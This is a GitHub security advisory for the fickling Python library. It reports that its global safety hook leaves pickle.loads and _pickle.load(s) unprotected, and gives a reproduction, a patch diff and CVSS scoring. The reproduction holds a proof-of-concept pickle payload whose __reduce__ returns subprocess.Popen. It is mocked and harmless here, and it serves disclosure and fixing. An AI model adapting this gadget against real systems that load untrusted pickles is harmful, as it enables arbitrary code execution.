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Fickling has `always_check_safety()` bypass: pickle.loads and _pickle.loads remain unhooked

High severity GitHub Reviewed Published Mar 3, 2026 in trailofbits/fickling • Updated Mar 4, 2026

Package

pip fickling (pip)

Affected versions

<= 0.1.8

Patched versions

0.1.9

Description

Assessment

The missing pickle entrypoints pickle.loads, _pickle.loads, and _pickle.load were added to the hook trailofbits/fickling@8c24c6e.

Original report

Summary

fickling.always_check_safety() does not hook all pickle entry points. pickle.loads, _pickle.loads, and _pickle.load remain unprotected, enabling malicious payload execution despite global safety mode being enabled.

Affected versions

<= 0.1.8 (verified on current upstream HEAD as of 2026-03-03)

Non-duplication check against published Fickling GHSAs

No published advisory covers hook-coverage bypass in run_hook().
Existing advisories are blocklist/detection bypasses (runpy, pty, cProfile, marshal/types, builtins, network constructors, OBJ visibility, etc.), not runtime hook coverage parity.

Root cause

run_hook() patches only:

  • pickle.load
  • pickle.Unpickler
  • _pickle.Unpickler

It does not patch:

  • pickle.loads
  • _pickle.load
  • _pickle.loads

Reproduction (clean upstream)

import io, pickle, _pickle
from unittest.mock import patch
import fickling
from fickling.exception import UnsafeFileError

class Payload:
    def __reduce__(self):
        import subprocess
        return (subprocess.Popen, (['echo','BYPASS'],))

data = pickle.dumps(Payload())
fickling.always_check_safety()

# Bypass path
with patch('subprocess.Popen') as popen_mock:
    pickle.loads(data)
    print('bypass sink called?', popen_mock.called)  # True

# Control path is blocked
with patch('subprocess.Popen') as popen_mock:
    try:
        pickle.load(io.BytesIO(data))
    except UnsafeFileError:
        pass
    print('blocked sink called?', popen_mock.called)  # False

Observed on vulnerable code:

  • pickle.loads executes payload
  • pickle.load is blocked

Minimal patch diff

--- a/fickling/hook.py
+++ b/fickling/hook.py
@@
 def run_hook():
-    pickle.load = loader.load
+    pickle.load = loader.load
+    _pickle.load = loader.load
+    pickle.loads = loader.loads
+    _pickle.loads = loader.loads

Validation after patch

  • pickle.loads, _pickle.loads, and _pickle.load all raise UnsafeFileError
  • sink not called in any path

Regression tests added locally:

  • test_run_hook_blocks_pickle_loads
  • test_run_hook_blocks__pickle_load_and_loads
    in test/test_security_regressions_20260303.py

Impact

High-confidence runtime protection bypass for applications that trust always_check_safety() as global guard.

References

@thomas-chauchefoin-tob thomas-chauchefoin-tob published to trailofbits/fickling Mar 3, 2026
Published to the GitHub Advisory Database Mar 4, 2026
Reviewed Mar 4, 2026
Last updated Mar 4, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

EPSS score

Weaknesses

Protection Mechanism Failure

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-wccx-j62j-r448

Source code

Credits

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